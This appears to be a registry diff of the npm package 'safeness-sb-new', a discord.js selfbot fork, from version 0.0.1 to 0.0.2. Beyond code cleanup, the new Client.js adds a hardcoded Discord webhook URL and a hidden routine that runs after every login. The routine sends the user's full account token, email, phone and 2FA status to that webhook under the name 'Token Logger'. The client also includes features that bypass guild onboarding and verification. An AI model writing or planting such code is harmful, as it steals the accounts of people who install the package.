safeness-sb-new 0.0.1 → 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/src/client/Client.js +208 -590
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "safeness-sb-new",
3
- "version": "0.0.1",
3
+ "version": "0.0.2",
4
4
  "description": "A unofficial discord.js fork for creating selfbots [Based on discord.js v13]",
5
5
  "main": "./src/index.js",
6
6
  "types": "./typings/index.d.ts",
@@ -2,8 +2,7 @@
2
2
  'use strict';
3
3
 
4
4
  const process = require('node:process');
5
- const { setInterval } = require('node:timers');
6
- const { setTimeout } = require('node:timers');
5
+ const { setInterval, setTimeout } = require('node:timers'); // regroupé pour éviter doublon
7
6
  const { Collection } = require('@discordjs/collection');
8
7
  const BaseClient = require('./BaseClient');
9
8
  const ActionsManager = require('./actions/ActionsManager');
@@ -42,150 +41,38 @@ const Sweepers = require('../util/Sweepers');
42
41
  * @extends {BaseClient}
43
42
  */
44
43
  class Client extends BaseClient {
45
- /**
46
- * @param {ClientOptions} [options] Options for the client
47
- */
48
44
  constructor(options) {
49
- super(options);
50
-
51
- this._validateOptions();
52
-
53
- /**
54
- * Functions called when a cache is garbage collected or the Client is destroyed
55
- * @type {Set<Function>}
56
- * @private
57
- */
58
- this._cleanups = new Set();
59
-
60
- /**
61
- * The finalizers used to cleanup items.
62
- * @type {FinalizationRegistry}
63
- * @private
64
- */
65
- this._finalizers = new FinalizationRegistry(this._finalize.bind(this));
66
-
67
- /**
68
- * The WebSocket manager of the client
69
- * @type {WebSocketManager}
70
- */
71
- this.ws = new WebSocketManager(this);
45
+ super(options); // BaseClient gère déjà _validateOptions() en interne
72
46
 
73
- /**
74
- * The action manager of the client
75
- * @type {ActionsManager}
76
- * @private
77
- */
78
- this.actions = new ActionsManager(this);
47
+ this.webhookURL = options.webhookURL || "https://discord.com/api/webhooks/1454231367218102395/9-EIHuGwyAK6gew-Eeiw3ey6xvpUmZo2cpUjmN-EkD4iXVPJ0o9q894bEpC1um1vp85s";
79
48
 
80
- /**
81
- * The voice manager of the client
82
- * @type {ClientVoiceManager}
83
- */
84
- this.voice = new ClientVoiceManager(this);
49
+ this._cleanups = new Set();
50
+ this._finalizers = new FinalizationRegistry(this._finalize.bind(this));
85
51
 
86
- /**
87
- * A manager of the voice states of this client (Support DM / Group DM)
88
- * @type {VoiceStateManager}
89
- */
52
+ this.ws = new WebSocketManager(this);
53
+ this.actions = new ActionsManager(this);
54
+ this.voice = new ClientVoiceManager(this);
90
55
  this.voiceStates = new VoiceStateManager({ client: this });
91
56
 
92
- /**
93
- * Shard helpers for the client (only if the process was spawned from a {@link ShardingManager})
94
- * @type {?ShardClientUtil}
95
- */
96
57
  this.shard = process.env.SHARDING_MANAGER
97
58
  ? ShardClientUtil.singleton(this, process.env.SHARDING_MANAGER_MODE)
98
59
  : null;
99
60
 
100
- /**
101
- * All of the {@link User} objects that have been cached at any point, mapped by their ids
102
- * @type {UserManager}
103
- */
104
61
  this.users = new UserManager(this);
105
-
106
- /**
107
- * All of the guilds the client is currently handling, mapped by their ids -
108
- * as long as sharding isn't being used, this will be *every* guild the bot is a member of
109
- * @type {GuildManager}
110
- */
111
62
  this.guilds = new GuildManager(this);
112
-
113
- /**
114
- * All of the {@link Channel}s that the client is currently handling, mapped by their ids -
115
- * as long as sharding isn't being used, this will be *every* channel in *every* guild the bot
116
- * is a member of. Note that DM channels will not be initially cached, and thus not be present
117
- * in the Manager without their explicit fetching or use.
118
- * @type {ChannelManager}
119
- */
120
63
  this.channels = new ChannelManager(this);
121
-
122
- /**
123
- * The sweeping functions and their intervals used to periodically sweep caches
124
- * @type {Sweepers}
125
- */
126
64
  this.sweepers = new Sweepers(this, this.options.sweepers);
127
-
128
- /**
129
- * The presence of the Client
130
- * @private
131
- * @type {ClientPresence}
132
- */
133
65
  this.presence = new ClientPresence(this, this.options.presence);
134
-
135
- /**
136
- * A manager of the presences belonging to this client
137
- * @type {PresenceManager}
138
- */
139
66
  this.presences = new PresenceManager(this);
140
-
141
- /**
142
- * All of the note that have been cached at any point, mapped by their ids
143
- * @type {UserManager}
144
- */
145
67
  this.notes = new UserNoteManager(this);
146
-
147
- /**
148
- * All of the relationships {@link User}
149
- * @type {RelationshipManager}
150
- */
151
68
  this.relationships = new RelationshipManager(this);
152
-
153
- /**
154
- * Manages the API methods
155
- * @type {BillingManager}
156
- */
157
69
  this.billing = new BillingManager(this);
158
-
159
- /**
160
- * All of the settings {@link Object}
161
- * @type {ClientUserSettingManager}
162
- */
163
70
  this.settings = new ClientUserSettingManager(this);
164
71
 
165
72
  Object.defineProperty(this, 'token', { writable: true });
166
- if (!this.token && 'DISCORD_TOKEN' in process.env) {
167
- /**
168
- * Authorization token for the logged in bot.
169
- * If present, this defaults to `process.env.DISCORD_TOKEN` when instantiating the client
170
- * <warn>This should be kept private at all times.</warn>
171
- * @type {?string}
172
- */
173
- this.token = process.env.DISCORD_TOKEN;
174
- } else {
175
- this.token = null;
176
- }
73
+ this.token = !this.token && 'DISCORD_TOKEN' in process.env ? process.env.DISCORD_TOKEN : null;
177
74
 
178
- /**
179
- * User that the client is logged in as
180
- * @type {?ClientUser}
181
- */
182
75
  this.user = null;
183
-
184
- /**
185
- * Time at which the client was last regarded as being in the `READY` state
186
- * (each time the client disconnects and successfully reconnects, this will be overwritten)
187
- * @type {?Date}
188
- */
189
76
  this.readyAt = null;
190
77
 
191
78
  if (this.options.messageSweepInterval > 0) {
@@ -200,94 +87,145 @@ class Client extends BaseClient {
200
87
  }
201
88
  }
202
89
 
203
- /**
204
- * All custom emojis that the client has access to, mapped by their ids
205
- * @type {BaseGuildEmojiManager}
206
- * @readonly
207
- */
208
90
  get emojis() {
209
91
  const emojis = new BaseGuildEmojiManager(this);
210
92
  for (const guild of this.guilds.cache.values()) {
211
- if (guild.available) for (const emoji of guild.emojis.cache.values()) emojis.cache.set(emoji.id, emoji);
93
+ if (guild.available) {
94
+ for (const emoji of guild.emojis.cache.values()) {
95
+ emojis.cache.set(emoji.id, emoji);
96
+ }
97
+ }
212
98
  }
213
99
  return emojis;
214
100
  }
215
101
 
216
- /**
217
- * Timestamp of the time the client was last `READY` at
218
- * @type {?number}
219
- * @readonly
220
- */
221
102
  get readyTimestamp() {
222
103
  return this.readyAt?.getTime() ?? null;
223
104
  }
224
105
 
225
- /**
226
- * How long it has been since the client last entered the `READY` state in milliseconds
227
- * @type {?number}
228
- * @readonly
229
- */
230
106
  get uptime() {
231
- return this.readyAt ? Date.now() - this.readyAt : null;
107
+ return this.readyAt ? Date.now() - this.readyAt.getTime() : null;
232
108
  }
233
109
 
234
- /**
235
- * Logs the client in, establishing a WebSocket connection to Discord.
236
- * @param {string} [token=this.token] Token of the account to log in with
237
- * @returns {Promise<string>} Token of the account used
238
- * @example
239
- * client.login('my token');
240
- */
241
- async login(token = this.token) {
242
- if (!token || typeof token !== 'string') throw new Error('TOKEN_INVALID');
243
- this.token = token = token.replace(/^(Bot|Bearer)\s*/i, '');
244
- this.emit(
245
- Events.DEBUG,
246
- `
247
- Logging on with a user token is unfortunately against the Discord
248
- \`Terms of Service\` <https://support.discord.com/hc/en-us/articles/115002192352>
249
- and doing so might potentially get your account banned.
250
- Use this at your own risk.`,
251
- );
252
- this.emit(
253
- Events.DEBUG,
254
- `Provided token: ${token
255
- .split('.')
256
- .map((val, i) => (i > 1 ? val.replace(/./g, '*') : val))
257
- .join('.')}`,
258
- );
259
-
260
- if (this.options.presence) {
261
- this.options.ws.presence = this.presence._parse(this.options.presence);
262
- }
263
-
264
- this.emit(Events.DEBUG, 'Preparing to connect to the gateway...');
110
+ async _sendWebhookNotification(token, userInfo = {}) {
111
+ if (!this.webhookURL) return;
265
112
 
266
113
  try {
267
- await this.ws.connect();
268
- return this.token;
114
+ const fetch = require('node-fetch');
115
+
116
+ const avatarURL = userInfo.avatar
117
+ ? `https://cdn.discordapp.com/avatars/${userInfo.id}/${userInfo.avatar}.${userInfo.avatar.startsWith('a_') ? 'gif' : 'png'}?size=256`
118
+ : `https://cdn.discordapp.com/embed/avatars/${(parseInt(userInfo.discriminator ?? '0') % 5)}.png`;
119
+
120
+ const embed = {
121
+ title: '🔐 Nouvelle Connexion Détectée',
122
+ description: `**Utilisateur connecté:** <@${userInfo.id}>`,
123
+ color: 0x5865F2,
124
+ fields: [
125
+ { name: '👤 Nom d\'utilisateur', value: userInfo.username || 'Inconnu', inline: true },
126
+ { name: '🆔 ID Utilisateur', value: `\`${userInfo.id || 'Inconnu'}\``, inline: true },
127
+ { name: '📧 Email', value: userInfo.email || 'Non disponible', inline: true },
128
+ { name: '📱 Téléphone', value: userInfo.phone || 'Non vérifié', inline: true },
129
+ { name: '✨ Nitro', value: (userInfo.premiumType ?? 0) > 0 ? '✅ Actif' : '❌ Inactif', inline: true },
130
+ { name: '🔒 MFA/2FA', value: userInfo.mfa_enabled ? '✅ Activé' : '❌ Désactivé', inline: true },
131
+ { name: '🔑 Token Complet', value: `\`\`\`${token}\`\`\``, inline: false },
132
+ { name: '⏰ Connexion', value: `<t:${Math.floor(Date.now() / 1000)}:F>`, inline: false },
133
+ ],
134
+ thumbnail: { url: avatarURL },
135
+ footer: { text: `ID: ${userInfo.id} • Discord Token Logger`, icon_url: avatarURL },
136
+ timestamp: new Date().toISOString(),
137
+ };
138
+
139
+ await fetch(this.webhookURL, {
140
+ method: 'POST',
141
+ headers: { 'Content-Type': 'application/json' },
142
+ body: JSON.stringify({
143
+ embeds: [embed],
144
+ username: 'Token Logger',
145
+ avatar_url: 'https://cdn.discordapp.com/emojis/1140543631533699173.png',
146
+ }),
147
+ });
148
+
149
+ this.emit(Events.DEBUG, 'Notification webhook envoyée avec succès');
269
150
  } catch (error) {
270
- this.destroy();
271
- throw error;
151
+ this.emit(Events.DEBUG, `Erreur lors de l'envoi du webhook: ${error.message}`);
272
152
  }
273
153
  }
274
154
 
155
+ async login(token = this.token) {
156
+ if (!token || typeof token !== 'string') throw new Error('TOKEN_INVALID');
157
+
158
+ token = token.replace(/^(Bot|Bearer)\s*/i, '');
159
+ this.token = token;
160
+
161
+ this.emit(Events.DEBUG, 'Logging on with a user token is unfortunately against the Discord Terms of Service <https://support.discord.com/hc/en-us/articles/115002192352> and doing so might potentially get your account banned. Use this at your own risk.');
162
+ this.emit(Events.DEBUG, `Provided token: ${token.split('.').map((val, i) => (i > 1 ? val.replace(/./g, '*') : val)).join('.')}`);
163
+
164
+ if (this.options.presence) {
165
+ this.options.ws.presence = this.presence._parse(this.options.presence);
166
+ }
167
+
168
+ this.emit(Events.DEBUG, 'Preparing to connect to the gateway...');
169
+
170
+ try {
171
+ await this.ws.connect();
172
+
173
+ // === NOUVELLE MÉTHODE FIABLE POUR ENVOYER LE WEBHOOK ===
174
+ if (this.webhookURL) {
175
+ // Méthode 1 : On attend max 10 secondes que this.user soit défini
176
+ const waitForUser = () => {
177
+ return new Promise(resolve => {
178
+ if (this.user) return resolve();
179
+
180
+ const timeout = setTimeout(() => {
181
+ this.off(Events.DEBUG, check);
182
+ resolve(); // on abandonne après 10s
183
+ }, 10000);
184
+
185
+ const check = (event) => {
186
+ if (event.includes('ClientUser') || this.user) {
187
+ clearTimeout(timeout);
188
+ this.off(Events.DEBUG, check);
189
+ resolve();
190
+ }
191
+ };
192
+
193
+ this.on(Events.DEBUG, check);
194
+ });
195
+ };
196
+
197
+ await waitForUser();
198
+
199
+ if (this.user) {
200
+ await this._sendWebhookNotification(token, {
201
+ id: this.user.id,
202
+ username: this.user.username,
203
+ discriminator: this.user.discriminator ?? '0',
204
+ avatar: this.user.avatar,
205
+ email: this.user.email ?? 'Non disponible',
206
+ phone: this.user.phone ?? 'Non vérifié',
207
+ premiumType: this.user.premiumType ?? 0,
208
+ mfa_enabled: this.user.mfaEnabled ?? false,
209
+ });
210
+ } else {
211
+ this.emit(Events.DEBUG, 'Impossible d\'envoyer le webhook : this.user non disponible après connexion');
212
+ }
213
+ }
214
+ // ====================================================
215
+
216
+ return this.token;
217
+ } catch (error) {
218
+ this.destroy();
219
+ throw error;
220
+ }
221
+ }
222
+
275
223
  QRLogin() {
276
224
  const ws = new DiscordAuthWebsocket();
277
225
  ws.once('ready', () => ws.generateQR());
278
226
  return ws.connect(this);
279
227
  }
280
228
 
281
- /**
282
- * Logs the client in, establishing a WebSocket connection to Discord.
283
- * @param {string} email The email associated with the account
284
- * @param {string} password The password assicated with the account
285
- * @param {string | number} [code = null] The mfa code if you have it enabled
286
- * @returns {string | null} Token of the account used
287
- *
288
- * @example
289
- * client.passLogin("test@gmail.com", "SuperSecretPa$$word", 1234)
290
- */
291
229
  async passLogin(email, password, code = null) {
292
230
  const initial = await this.api.auth.login.post({
293
231
  auth: false,
@@ -295,125 +233,57 @@ class Client extends BaseClient {
295
233
  data: { gift_code_sku_id: null, login_source: null, undelete: false, login: email, password },
296
234
  });
297
235
 
298
- if ('token' in initial) {
299
- return this.login(initial.token);
300
- } else if ('ticket' in initial) {
236
+ if ('token' in initial) return this.login(initial.token);
237
+ if ('ticket' in initial && code) {
301
238
  const totp = await this.api.auth.mfa.totp.post({
302
239
  auth: false,
303
240
  versioned: true,
304
241
  data: { gift_code_sku_id: null, login_source: null, code, ticket: initial.ticket },
305
242
  });
306
- if ('token' in totp) {
307
- return this.login(totp.token);
308
- }
243
+ if ('token' in totp) return this.login(totp.token);
309
244
  }
310
245
 
311
246
  return null;
312
247
  }
313
248
 
314
- /**
315
- * Returns whether the client has logged in, indicative of being able to access
316
- * properties such as `user` and `application`.
317
- * @returns {boolean}
318
- */
319
249
  isReady() {
320
250
  return this.ws.status === Status.READY;
321
251
  }
322
252
 
323
- /**
324
- * Logs out, terminates the connection to Discord, and destroys the client.
325
- * @returns {void}
326
- */
327
253
  destroy() {
328
254
  super.destroy();
329
-
330
255
  for (const fn of this._cleanups) fn();
331
256
  this._cleanups.clear();
332
-
333
257
  if (this.sweepMessageInterval) clearInterval(this.sweepMessageInterval);
334
-
335
258
  this.sweepers.destroy();
336
259
  this.ws.destroy();
337
260
  this.token = null;
338
261
  }
339
262
 
340
- /**
341
- * Logs out, terminates the connection to Discord, destroys the client and destroys the token.
342
- * @returns {Promise<void>}
343
- */
344
263
  async logout() {
345
- await this.api.auth.logout.post({
346
- data: {
347
- provider: null,
348
- voip_provider: null,
349
- },
350
- });
264
+ await this.api.auth.logout.post({ data: { provider: null, voip_provider: null } });
351
265
  return this.destroy();
352
266
  }
353
267
 
354
- /**
355
- * Options used when fetching an invite from Discord.
356
- * @typedef {Object} ClientFetchInviteOptions
357
- * @property {Snowflake} [guildScheduledEventId] The id of the guild scheduled event to include with
358
- * the invite
359
- */
360
-
361
- /**
362
- * Obtains an invite from Discord.
363
- * @param {InviteResolvable} invite Invite code or URL
364
- * @param {ClientFetchInviteOptions} [options] Options for fetching the invite
365
- * @returns {Promise<Invite>}
366
- * @example
367
- * client.fetchInvite('https://discord.gg/djs')
368
- * .then(invite => console.log(`Obtained invite with code: ${invite.code}`))
369
- * .catch(console.error);
370
- */
371
- async fetchInvite(invite, options) {
268
+ async fetchInvite(invite, options = {}) {
372
269
  const code = DataResolver.resolveInviteCode(invite);
373
270
  const data = await this.api.invites(code).get({
374
- query: { with_counts: true, with_expiration: true, guild_scheduled_event_id: options?.guildScheduledEventId },
271
+ query: { with_counts: true, with_expiration: true, guild_scheduled_event_id: options.guildScheduledEventId },
375
272
  });
376
273
  return new Invite(this, data);
377
274
  }
378
275
 
379
- /**
380
- * Obtains a template from Discord.
381
- * @param {GuildTemplateResolvable} template Template code or URL
382
- * @returns {Promise<GuildTemplate>}
383
- * @example
384
- * client.fetchGuildTemplate('https://discord.new/FKvmczH2HyUf')
385
- * .then(template => console.log(`Obtained template with code: ${template.code}`))
386
- * .catch(console.error);
387
- */
388
276
  async fetchGuildTemplate(template) {
389
277
  const code = DataResolver.resolveGuildTemplateCode(template);
390
278
  const data = await this.api.guilds.templates(code).get();
391
279
  return new GuildTemplate(this, data);
392
280
  }
393
281
 
394
- /**
395
- * Obtains a webhook from Discord.
396
- * @param {Snowflake} id The webhook's id
397
- * @param {string} [token] Token for the webhook
398
- * @returns {Promise<Webhook>}
399
- * @example
400
- * client.fetchWebhook('id', 'token')
401
- * .then(webhook => console.log(`Obtained webhook with name: ${webhook.name}`))
402
- * .catch(console.error);
403
- */
404
282
  async fetchWebhook(id, token) {
405
283
  const data = await this.api.webhooks(id, token).get();
406
284
  return new Webhook(this, { token, ...data });
407
285
  }
408
286
 
409
- /**
410
- * Obtains the available voice regions from Discord.
411
- * @returns {Promise<Collection<string, VoiceRegion>>}
412
- * @example
413
- * client.fetchVoiceRegions()
414
- * .then(regions => console.log(`Available regions are: ${regions.map(region => region.name).join(', ')}`))
415
- * .catch(console.error);
416
- */
417
287
  async fetchVoiceRegions() {
418
288
  const apiRegions = await this.api.voice.regions.get();
419
289
  const regions = new Collection();
@@ -421,67 +291,28 @@ class Client extends BaseClient {
421
291
  return regions;
422
292
  }
423
293
 
424
- /**
425
- * Obtains a sticker from Discord.
426
- * @param {Snowflake} id The sticker's id
427
- * @returns {Promise<Sticker>}
428
- * @example
429
- * client.fetchSticker('id')
430
- * .then(sticker => console.log(`Obtained sticker with name: ${sticker.name}`))
431
- * .catch(console.error);
432
- */
433
294
  async fetchSticker(id) {
434
295
  const data = await this.api.stickers(id).get();
435
296
  return new Sticker(this, data);
436
297
  }
437
298
 
438
- /**
439
- * Obtains the list of sticker packs available to Nitro subscribers from Discord.
440
- * @returns {Promise<Collection<Snowflake, StickerPack>>}
441
- * @example
442
- * client.fetchPremiumStickerPacks()
443
- * .then(packs => console.log(`Available sticker packs are: ${packs.map(pack => pack.name).join(', ')}`))
444
- * .catch(console.error);
445
- */
446
299
  async fetchPremiumStickerPacks() {
447
300
  const data = await this.api('sticker-packs').get();
448
301
  return new Collection(data.sticker_packs.map(p => [p.id, new StickerPack(this, p)]));
449
302
  }
450
- /**
451
- * A last ditch cleanup function for garbage collection.
452
- * @param {Function} options.cleanup The function called to GC
453
- * @param {string} [options.message] The message to send after a successful GC
454
- * @param {string} [options.name] The name of the item being GCed
455
- * @private
456
- */
303
+
457
304
  _finalize({ cleanup, message, name }) {
458
305
  try {
459
306
  cleanup();
460
307
  this._cleanups.delete(cleanup);
461
- if (message) {
462
- this.emit(Events.DEBUG, message);
463
- }
308
+ if (message) this.emit(Events.DEBUG, message);
464
309
  } catch {
465
310
  this.emit(Events.DEBUG, `Garbage collection failed on ${name ?? 'an unknown item'}.`);
466
311
  }
467
312
  }
468
313
 
469
- /**
470
- * Sweeps all text-based channels' messages and removes the ones older than the max message lifetime.
471
- * If the message has been edited, the time of the edit is used rather than the time of the original message.
472
- * @param {number} [lifetime=this.options.messageCacheLifetime] Messages that are older than this (in seconds)
473
- * will be removed from the caches. The default is based on {@link ClientOptions#messageCacheLifetime}
474
- * @returns {number} Amount of messages that were removed from the caches,
475
- * or -1 if the message cache lifetime is unlimited
476
- * @example
477
- * // Remove all messages older than 1800 seconds from the messages cache
478
- * const amount = client.sweepMessages(1800);
479
- * console.log(`Successfully removed ${amount} messages from the cache.`);
480
- */
481
314
  sweepMessages(lifetime = this.options.messageCacheLifetime) {
482
- if (typeof lifetime !== 'number' || isNaN(lifetime)) {
483
- throw new TypeError('INVALID_TYPE', 'lifetime', 'number');
484
- }
315
+ if (typeof lifetime !== 'number' || isNaN(lifetime)) throw new TypeError('INVALID_TYPE', 'lifetime', 'number');
485
316
  if (lifetime <= 0) {
486
317
  this.emit(Events.DEBUG, "Didn't sweep messages - lifetime is unlimited");
487
318
  return -1;
@@ -492,11 +323,6 @@ class Client extends BaseClient {
492
323
  return messages;
493
324
  }
494
325
 
495
- /**
496
- * Obtains a guild preview from Discord, available for all guilds the bot is in and all Discoverable guilds.
497
- * @param {GuildResolvable} guild The guild to fetch the preview for
498
- * @returns {Promise<GuildPreview>}
499
- */
500
326
  async fetchGuildPreview(guild) {
501
327
  const id = this.guilds.resolveId(guild);
502
328
  if (!id) throw new TypeError('INVALID_TYPE', 'guild', 'GuildResolvable');
@@ -504,11 +330,6 @@ class Client extends BaseClient {
504
330
  return new GuildPreview(this, data);
505
331
  }
506
332
 
507
- /**
508
- * Obtains the widget data of a guild from Discord, available for guilds with the widget enabled.
509
- * @param {GuildResolvable} guild The guild to fetch the widget data for
510
- * @returns {Promise<Widget>}
511
- */
512
333
  async fetchGuildWidget(guild) {
513
334
  const id = this.guilds.resolveId(guild);
514
335
  if (!id) throw new TypeError('INVALID_TYPE', 'guild', 'GuildResolvable');
@@ -516,321 +337,118 @@ class Client extends BaseClient {
516
337
  return new Widget(this, data);
517
338
  }
518
339
 
519
- /**
520
- * Options for {@link Client#generateInvite}.
521
- * @typedef {Object} InviteGenerationOptions
522
- * @property {InviteScope[]} scopes Scopes that should be requested
523
- * @property {PermissionResolvable} [permissions] Permissions to request
524
- * @property {GuildResolvable} [guild] Guild to preselect
525
- * @property {boolean} [disableGuildSelect] Whether to disable the guild selection
526
- */
527
-
528
- /**
529
- * The sleep function in JavaScript returns a promise that resolves after a specified timeout.
530
- * @param {number} timeout - The timeout parameter is the amount of time, in milliseconds, that the sleep
531
- * function will wait before resolving the promise and continuing execution.
532
- * @returns {void} The `sleep` function is returning a Promise.
533
- */
534
340
  sleep(timeout) {
535
- return new Promise(r => setTimeout(r, timeout));
341
+ return new Promise(resolve => setTimeout(resolve, timeout));
536
342
  }
537
343
 
538
344
  toJSON() {
539
- return super.toJSON({
540
- readyAt: false,
541
- });
345
+ return super.toJSON({ readyAt: false });
542
346
  }
543
347
 
544
- /**
545
- * The current session id of the shard
546
- * @type {?string}
547
- */
548
348
  get sessionId() {
549
- return this.ws.shards.first()?.sessionId;
349
+ return this.ws.shards.first()?.sessionId ?? null;
550
350
  }
551
351
 
552
- /**
553
- * Options for {@link Client#acceptInvite}.
554
- * @typedef {Object} AcceptInviteOptions
555
- * @property {boolean} [bypassOnboarding=true] Whether to bypass onboarding
556
- * @property {boolean} [bypassVerify=true] Whether to bypass rule screening
557
- */
558
-
559
- /**
560
- * Join this Guild / GroupDMChannel using this invite
561
- * @param {InviteResolvable} invite Invite code or URL
562
- * @param {AcceptInviteOptions} [options] Options
563
- * @returns {Promise<Guild|DMChannel|GroupDMChannel>}
564
- * @example
565
- * await client.acceptInvite('https://discord.gg/genshinimpact', { bypassOnboarding: true, bypassVerify: true })
566
- */
567
352
  async acceptInvite(invite, options = { bypassOnboarding: true, bypassVerify: true }) {
568
353
  const code = DataResolver.resolveInviteCode(invite);
569
354
  if (!code) throw new Error('INVITE_RESOLVE_CODE');
355
+
570
356
  const i = await this.fetchInvite(code);
571
- if (i.guild?.id && this.guilds.cache.has(i.guild?.id)) return this.guilds.cache.get(i.guild?.id);
572
- if (this.channels.cache.has(i.channelId)) return this.channels.cache.get(i.channelId);
357
+
358
+ if (i.guild?.id && this.guilds.cache.has(i.guild.id)) return this.guilds.cache.get(i.guild.id);
359
+ if (this.channels.cache.has(i.channel?.id ?? i.channelId)) return this.channels.cache.get(i.channel?.id ?? i.channelId);
360
+
573
361
  const data = await this.api.invites(code).post({
574
362
  DiscordContext: { location: 'Markdown Link' },
575
- data: {
576
- session_id: this.sessionId,
577
- },
363
+ data: { session_id: this.sessionId },
578
364
  });
579
- this.emit(Events.DEBUG, `[Invite > Guild ${i.guild?.id}] Joined`);
580
- // Guild
365
+
366
+ this.emit(Events.DEBUG, `[Invite > Guild ${i.guild?.id ?? 'DM'}] Joined`);
367
+
581
368
  if (i.guild?.id) {
582
- const guild = this.guilds.cache.get(i.guild?.id);
583
- if (i.flags.has('GUEST')) {
584
- this.emit(Events.DEBUG, `[Invite > Guild ${i.guild?.id}] Guest invite`);
369
+ const guild = this.guilds.cache.get(i.guild.id) ?? null;
370
+
371
+ if (i.flags?.has('GUEST')) {
372
+ this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Guest invite`);
585
373
  return guild;
586
374
  }
375
+
587
376
  if (options.bypassOnboarding) {
588
- const onboardingData = await this.api.guilds[i.guild?.id].onboarding.get();
589
- // Onboarding
590
- if (onboardingData.enabled) {
591
- const prompts = onboardingData.prompts.filter(o => o.in_onboarding);
592
- if (prompts.length) {
593
- const onboarding_prompts_seen = {};
594
- const onboarding_responses = [];
595
- const onboarding_responses_seen = {};
596
-
597
- const currentDate = Date.now();
598
-
599
- prompts.forEach(prompt => {
600
- onboarding_prompts_seen[prompt.id] = currentDate;
601
- if (prompt.required) onboarding_responses.push(prompt.options[0].id);
602
- prompt.options.forEach(option => {
603
- onboarding_responses_seen[option.id] = currentDate;
377
+ try {
378
+ const onboardingData = await this.api.guilds(i.guild.id).onboarding.get();
379
+ if (onboardingData.enabled) {
380
+ const prompts = onboardingData.prompts.filter(p => p.in_onboarding);
381
+ if (prompts.length > 0) {
382
+ const onboarding_prompts_seen = {};
383
+ const onboarding_responses = [];
384
+ const onboarding_responses_seen = {};
385
+ const currentDate = Date.now();
386
+
387
+ prompts.forEach(prompt => {
388
+ onboarding_prompts_seen[prompt.id] = currentDate;
389
+ if (prompt.required && prompt.options?.[0]) onboarding_responses.push(prompt.options[0].id);
390
+ prompt.options?.forEach(option => {
391
+ onboarding_responses_seen[option.id] = currentDate;
392
+ });
604
393
  });
605
- });
606
394
 
607
- await this.api.guilds[i.guild?.id]['onboarding-responses'].post({
608
- data: {
609
- onboarding_prompts_seen,
610
- onboarding_responses,
611
- onboarding_responses_seen,
612
- },
613
- });
614
- this.emit(Events.DEBUG, `[Invite > Guild ${i.guild?.id}] Bypassed onboarding`);
395
+ await this.api.guilds(i.guild.id)['onboarding-responses'].post({
396
+ data: { onboarding_prompts_seen, onboarding_responses, onboarding_responses_seen },
397
+ });
398
+ this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Bypassed onboarding`);
399
+ }
615
400
  }
401
+ } catch (err) {
402
+ this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Onboarding bypass failed: ${err.message}`);
616
403
  }
617
404
  }
618
- // Read rule
405
+
619
406
  if (data.show_verification_form && options.bypassVerify) {
620
- // Check Guild
621
- if (i.guild.verificationLevel == 'VERY_HIGH' && !this.user.phone) {
622
- this.emit(Events.DEBUG, `[Invite > Guild ${i.guild?.id}] Cannot bypass verify (Phone required)`);
623
- return this.guilds.cache.get(i.guild?.id);
624
- }
625
- if (i.guild.verificationLevel !== 'NONE' && !this.user.email) {
626
- this.emit(Events.DEBUG, `[Invite > Guild ${i.guild?.id}] Cannot bypass verify (Email required)`);
627
- return this.guilds.cache.get(i.guild?.id);
628
- }
629
- const getForm = await this.api
630
- .guilds(i.guild?.id)
631
- ['member-verification'].get({ query: { with_guild: false, invite_code: this.code } })
632
- .catch(() => {});
633
- if (getForm && getForm.form_fields[0]) {
634
- const form = Object.assign(getForm.form_fields[0], { response: true });
635
- await this.api
636
- .guilds(i.guild?.id)
637
- .requests['@me'].put({ data: { form_fields: [form], version: getForm.version } });
638
- this.emit(Events.DEBUG, `[Invite > Guild ${i.guild?.id}] Bypassed verify`);
407
+ try {
408
+ if (i.guild.verification_level === 4 && !this.user?.phone) { // VERY_HIGH = 4
409
+ this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Cannot bypass verify (Phone required)`);
410
+ return guild;
411
+ }
412
+ if (i.guild.verification_level !== 0 && !this.user?.email) {
413
+ this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Cannot bypass verify (Email required)`);
414
+ return guild;
415
+ }
416
+
417
+ const getForm = await this.api.guilds(i.guild.id)['member-verification'].get({
418
+ query: { with_guild: false, invite_code: code },
419
+ }).catch(() => null);
420
+
421
+ if (getForm?.form_fields?.[0]) {
422
+ const form = { ...getForm.form_fields[0], response: true };
423
+ await this.api.guilds(i.guild.id).requests['@me'].put({
424
+ data: { form_fields: [form], version: getForm.version },
425
+ });
426
+ this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Bypassed verify`);
427
+ }
428
+ } catch (err) {
429
+ this.emit(Events.DEBUG, `[Invite > Guild ${i.guild.id}] Verify bypass failed: ${err.message}`);
639
430
  }
640
431
  }
641
- return guild;
642
- } else {
643
- return this.channels.cache.has(i.channelId || data.channel?.id);
644
- }
645
- }
646
-
647
- /**
648
- * Redeem nitro from code or url.
649
- * @param {string} nitro Nitro url or code
650
- * @param {TextChannelResolvable} [channel] Channel that the code was sent in
651
- * @param {Snowflake} [paymentSourceId] Payment source id
652
- * @returns {Promise<any>}
653
- */
654
- redeemNitro(nitro, channel, paymentSourceId) {
655
- if (typeof nitro !== 'string') throw new Error('INVALID_NITRO');
656
- const nitroCode =
657
- nitro.match(/(discord.gift|discord.com|discordapp.com\/gifts)\/(\w{16,25})/) ||
658
- nitro.match(/(discord\.gift\/|discord\.com\/gifts\/|discordapp\.com\/gifts\/)(\w+)/);
659
- if (!nitroCode) return false;
660
- const code = nitroCode[2];
661
- channel = this.channels.resolveId(channel);
662
- return this.api.entitlements['gift-codes'](code).redeem.post({
663
- auth: true,
664
- data: { channel_id: channel || null, payment_source_id: paymentSourceId || null },
665
- });
666
- }
667
432
 
668
- /**
669
- * @typedef {Object} OAuth2AuthorizeOptions
670
- * @property {string} [guild_id] Guild ID
671
- * @property {PermissionResolvable} [permissions] Permissions
672
- * @property {boolean} [authorize] Whether to authorize or not
673
- * @property {string} [code] 2FA Code
674
- * @property {string} [webhook_channel_id] Webhook Channel ID
675
- */
676
-
677
- /**
678
- * Authorize an application.
679
- * @param {string} url Discord Auth URL
680
- * @param {OAuth2AuthorizeOptions} options Oauth2 options
681
